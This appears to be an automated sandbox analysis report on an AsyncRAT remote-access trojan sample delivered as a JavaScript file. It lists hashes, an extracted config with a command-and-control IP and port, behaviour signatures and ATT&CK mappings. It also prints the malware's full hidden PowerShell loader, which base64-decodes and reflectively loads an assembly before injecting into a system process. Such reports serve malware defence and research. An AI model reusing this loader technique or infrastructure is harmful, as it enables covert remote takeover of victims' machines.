asyncrat | e3630301635b75bfbf47176e635eb9cf93daa63b0cef2022b801e1b7be3cf682

Analysis

max time kernel
149s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 03:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e3630301635b75bfbf47176e635eb9cf93daa63b0cef2022b801e1b7be3cf682.js
Size 33.4MB
Sample260825-dtdctsstev
SHA256 e3630301635b75bfbf47176e635eb9cf93daa63b0cef2022b801e1b7be3cf682
MD5 aeb9c81b82d9336077130bc0e096d992
SHA1 44daebe965dbd42d3a9d6b660bc5fd913bf06c9e
SHA512 9afe02185b6f0f69d0df720e129b7a8329e33fd2024963063b8cff0b2c947b200bf6e2ff7ce960bb6e0bbbd84a079099e65f74259abd35b6afbea1af38284a78
SSDEEP 3072:SxraMxraSxralxraJxraNxraUxraWxratxrabxratxrakxraXxrabxraJxrabxr9:AZ
TLSH
T1F2774E26091D1EBCD56465E014C7CD0C8E487F120E0BB3F695E9CE86BC299B9D66FE32
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

jbalvin discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Jbalvin

193.233.131.97:1907

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4132	5836	powershell.exe	89

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4132	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4132	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4132 set thread context of 5404	4132	powershell.exe	92

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4132	powershell.exe
4132	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	5404	aspnet_regsql.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4132 wrote to memory of 5404	4132	powershell.exe	92
PID 4132 wrote to memory of 5404	4132	powershell.exe	92
PID 4132 wrote to memory of 5404	4132	powershell.exe	92
PID 4132 wrote to memory of 5404	4132	powershell.exe	92
PID 4132 wrote to memory of 5404	4132	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\e3630301635b75bfbf47176e635eb9cf93daa63b0cef2022b801e1b7be3cf682.js
1⤵
PID:1372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('PhZ6SMOhaubWJC6SSetPir61gwo+d3eIlihDtwvRQygXW8SdtHmk5HUfj+GhRVpUOU+M8+2OFYnT5DIafE9h98bXtTH9V0spp//a9pe7WwNLg5mYy0E2C2dtXFmmNAbYRyW4fpz6sqa55IFsLfjyAOpC06eZj8PaHR0UM/ED3b4=','','90TakzLINcYR2KPlDdnakWjP40Y43hTzMdSUdMlTzBXopCSFwi+6Cc9rEv5AgSq+','iXrMSJwyKG4MWNIr4m3kwCz58sI450GEVAOwjPC90/0=','n0YPKlgnzyraoLujh0RHfn3U27ODf6djNnLcjszsTNQ=','','eqMPNW46BirBrmcNbmafjpB1CSJ+uWYiepF/GLxMIwI=','','ehuCbXm72QEJCd+AOrncY8DW8SCho5JKDs3Af0xOwUA=','DGG7+VMRFxIQIhBMiYJN5S2a+3I3nblibo/qavUcI4jfxXQx6EjtIyu+GHlZKPQV','uzKym/PM2MenMyogRDL9k80V7rW2n1M03+KtkecVJKA=','NMcAxh1tiqaE7wLX9Qh3iLmsyTP4ZhI5axhWT9XQRGE=','p9aKkpUBcVUTpNyDCVqSSr8gJTfoL0xi0a27pMLWz5M=','','07+zZm7X2ZVRsHtzayn2zpq6H1ZIFQW7kLC9d9KAQ2I=','DJyWZGQl/4d5pICS48NeyMCwdhdpj9vef8pq/w2tekY=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4132
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5404

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4132-10-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-12-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-4-0x000002BA3E220000-0x000002BA3E242000-memory.dmp

Download

memory/4132-5-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-6-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-8-0x000002BA23B50000-0x000002BA23C1E000-memory.dmp

Download

memory/4132-9-0x000002BA23C20000-0x000002BA23C2A000-memory.dmp

Download

memory/4132-7-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-1-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-0-0x00007FF8E343F000-0x00007FF8E3440000-memory.dmp

Download

memory/4132-11-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/4132-15-0x00007FF8E32B0000-0x00007FF8E3C54000-memory.dmp

Download

memory/5404-13-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/5404-16-0x0000000074662000-0x0000000074663000-memory.dmp

Download

memory/5404-19-0x0000000006520000-0x00000000065BC000-memory.dmp

Download

memory/5404-20-0x0000000006B80000-0x000000000713A000-memory.dmp

Download

memory/5404-21-0x00000000065C0000-0x0000000006626000-memory.dmp

Download

memory/5404-22-0x0000000074662000-0x0000000074663000-memory.dmp

Download